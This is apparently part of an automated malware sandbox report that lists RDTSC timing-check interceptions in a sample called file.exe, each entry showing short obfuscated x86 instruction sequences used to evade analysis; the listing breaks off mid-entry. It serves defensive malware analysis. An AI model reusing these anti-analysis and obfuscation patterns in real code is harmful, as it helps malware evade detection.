Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE720 second address: ADE73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F684908B75Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F684908B75Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE73C second address: ADE746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE746 second address: ADE74C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADE74C second address: ADE78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6849049235h 0x00000009 popad 0x0000000a jmp 00007F684904922Eh 0x0000000f jno 00007F6849049228h 0x00000015 push eax 0x00000016 push edx 0x00000017 jbe 00007F6849049226h 0x0000001d jnp 00007F6849049226h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADEFC3 second address: ADEFCD instructions: 0x00000000 rdtsc 0x00000002 jg 00007F684908B75Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF0F1 second address: ADF0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF0F8 second address: ADF128 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B760h 0x00000007 jnc 00007F684908B75Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F684908B75Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE34D6 second address: AE34F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049233h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F6849049226h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE34F8 second address: AE34FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE377B second address: AE3795 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3795 second address: AE3799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE3799 second address: AE379F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE536C second address: AE5395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007F684908B765h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jg 00007F684908B756h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE5395 second address: AE539B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE539B second address: AE53A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F684908B756h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E6E second address: AE4E82 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6849049226h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F6849049226h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4E82 second address: AE4EA3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007F684908B75Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4EA3 second address: AE4EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE4EA8 second address: AE4EC0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F684908B763h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6E60 second address: AE6E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6E64 second address: AE6E76 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F684908B756h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F684908B762h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6E76 second address: AE6E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F6849049226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AE6E80 second address: AE6E85 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DAC second address: 4EE0DB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DB0 second address: 4EE0DCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DCD second address: 4EE0DDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684904922Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0DDD second address: 4EE0DE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0CDF second address: 4ED0D61 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6849049239h 0x00000008 sbb al, 00000046h 0x0000000b jmp 00007F6849049231h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 call 00007F6849049230h 0x00000018 call 00007F6849049232h 0x0000001d pop esi 0x0000001e pop edx 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F684904922Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6849049237h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20158 second address: 4F2015C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2015C second address: 4F20162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20162 second address: 4F201A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B764h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, B4h 0x0000000d mov dh, D7h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007F684908B75Eh 0x00000019 call 00007F684908B762h 0x0000001e pop esi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F201A7 second address: 4F201FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F684904922Eh 0x00000008 mov edx, esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F6849049239h 0x00000016 pushfd 0x00000017 jmp 00007F6849049230h 0x0000001c and cx, 0658h 0x00000021 jmp 00007F684904922Bh 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F201FD second address: 4F20251 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov esi, edx 0x0000000f popad 0x00000010 mov di, 97E8h 0x00000014 popad 0x00000015 pop ebp 0x00000016 pushad 0x00000017 movsx edx, si 0x0000001a push eax 0x0000001b push edx 0x0000001c pushfd 0x0000001d jmp 00007F684908B764h 0x00000022 sbb al, 00000048h 0x00000025 jmp 00007F684908B75Bh 0x0000002a popfd 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00EE second address: 4EB00F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00F3 second address: 4EB00F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB00F9 second address: 4EB0175 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 mov edi, 5292862Eh 0x0000000e pushfd 0x0000000f jmp 00007F684904922Fh 0x00000014 sbb eax, 2342D6DEh 0x0000001a jmp 00007F6849049239h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F684904922Eh 0x00000027 mov ebp, esp 0x00000029 jmp 00007F6849049230h 0x0000002e push dword ptr [ebp+04h] 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F6849049237h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0175 second address: 4EB018D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F684908B764h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0A13 second address: 4ED0A50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F684904922Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F684904922Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0A50 second address: 4ED0A56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0A56 second address: 4ED0A91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F6849049239h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F684904922Eh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov dl, DFh 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED05D2 second address: 4ED05D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED05D6 second address: 4ED05DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED05DC second address: 4ED063B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F684908B762h 0x00000008 pushfd 0x00000009 jmp 00007F684908B762h 0x0000000e add cx, 3618h 0x00000013 jmp 00007F684908B75Bh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F684908B75Eh 0x00000026 or cl, 00000078h 0x00000029 jmp 00007F684908B75Bh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED063B second address: 4ED0668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F684904922Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0668 second address: 4ED066E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0526 second address: 4ED052A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED052A second address: 4ED0538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0538 second address: 4ED0567 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 79h 0x00000005 mov ebx, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebp, esp 0x0000000c jmp 00007F6849049234h 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F684904922Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED0567 second address: 4ED056D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02D1 second address: 4ED02E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02E0 second address: 4ED02E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4ED02E6 second address: 4ED02EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE00C3 second address: 4EE00F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, C1B0h 0x00000007 mov edi, 44A948DCh 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov al, ACh 0x00000015 jmp 00007F684908B769h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20013 second address: 4F20019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20019 second address: 4F2001D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2001D second address: 4F20021 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20021 second address: 4F2005D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F684908B75Bh 0x00000012 xor cx, 2BEEh 0x00000017 jmp 00007F684908B769h 0x0000001c popfd 0x0000001d mov ax, 7377h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2005D second address: 4F200B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F684904922Dh 0x00000012 or ax, E2D6h 0x00000017 jmp 00007F6849049231h 0x0000001c popfd 0x0000001d mov ch, E6h 0x0000001f popad 0x00000020 mov eax, edi 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov cx, dx 0x00000028 call 00007F6849049231h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F200B4 second address: 4F200ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F684908B766h 0x00000011 jmp 00007F684908B765h 0x00000016 popfd 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F200ED second address: 4F200F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F200F3 second address: 4F200F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F200F7 second address: 4F20111 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F684904922Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20111 second address: 4F20126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B761h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF023C second address: 4EF0242 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0242 second address: 4EF0246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0246 second address: 4EF024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF024A second address: 4EF028A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F684908B769h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F684908B768h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF028A second address: 4EF0299 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0299 second address: 4EF02C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F684908B75Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02C8 second address: 4EF0302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6849049237h 0x00000009 adc ah, 0000001Eh 0x0000000c jmp 00007F6849049239h 0x00000011 popfd 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0302 second address: 4EF0328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 and dword ptr [eax], 00000000h 0x0000000a pushad 0x0000000b mov dx, F82Ch 0x0000000f popad 0x00000010 and dword ptr [eax+04h], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 jmp 00007F684908B75Ch 0x0000001c mov ebx, eax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0328 second address: 4EF0369 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049237h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushfd 0x0000000e jmp 00007F6849049232h 0x00000013 and ch, FFFFFFD8h 0x00000016 jmp 00007F684904922Bh 0x0000001b popfd 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C7E second address: 4EE0C9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B769h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0C9B second address: 4EE0CA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0CA1 second address: 4EE0CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EE0CA5 second address: 4EE0CD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6849049233h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6849049235h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF001F second address: 4EF0077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B760h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b jmp 00007F684908B75Eh 0x00000010 pushfd 0x00000011 jmp 00007F684908B762h 0x00000016 jmp 00007F684908B765h 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push eax 0x00000022 pop ebx 0x00000023 mov dx, cx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0077 second address: 4EF00D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6849049231h 0x00000008 mov edx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F684904922Fh 0x00000017 sbb eax, 084EBC7Eh 0x0000001d jmp 00007F6849049239h 0x00000022 popfd 0x00000023 jmp 00007F6849049230h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF00D5 second address: 4EF0103 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684908B75Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F684908B766h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0103 second address: 4EF0109 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F10810 second address: 4F108AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 test eax, eax 0x00000007 jmp 00007F684908B767h 0x0000000c je 00007F68BB0AE88Eh 0x00000012 jmp 00007F684908B766h 0x00000017 mov ecx, eax 0x00000019 pushad 0x0000001a mov edx, esi 0x0000001c pushfd 0x0000001d jmp 00007F684908B75Ah 0x00000022 sbb eax, 22EA3318h 0x00000028 jmp 00007F684908B75Bh 0x0000002d popfd 0x0000002e popad 0x0000002f xor eax, dword ptr [ebp+08h] 0x00000032 pushad 0x00000033 mov edx, 3F5C9248h 0x00000038 pushad 0x00000039 movsx ebx, cx 0x0000003c pushfd 0x0000003d jmp 00007F684908B768h 0x00000042 add ah, FFFFFFA8h 0x00000045 jmp 00007F684908B75Bh 0x0000004a popfd 0x0000004b popad 0x0000004c popad 0x0000004d and ecx, 1Fh 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 pop ebx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F108AC second address: 4F1091F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F684904922Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, 20E65EA1h 0x0000000e popad 0x0000000f ror eax, cl 0x00000011 pushad 0x00000012 mov cx, bx 0x00000015 popad 0x00000016 leave 0x00000017 jmp 00007F684904922Bh 0x0000001c retn 0004h 0x0000001f nop 0x00000020 mov esi, eax 0x00000022 lea eax, dword ptr [ebp-08h] 0x00000025 xor esi, dword ptr [00842014h] 0x0000002b push eax 0x0000002c push eax 0x0000002d push eax 0x0000002e lea eax, dword ptr [ebp-10h] 0x00000031 push eax 0x00000032 call 00007F684D759A40h 0x00000037 push FFFFFFFEh 0x00000039 jmp 00007F6849049236h 0x0000003e pop eax 0x0000003f jmp 00007F6849049230h 0x00000044 ret 0x00000045 nop 0x00000046 push eax 0x00000047 call 00007F684D759A63h 0x0000004c mov edi, edi 0x0000004e push eax 0x0000004f push edx 0x00000050 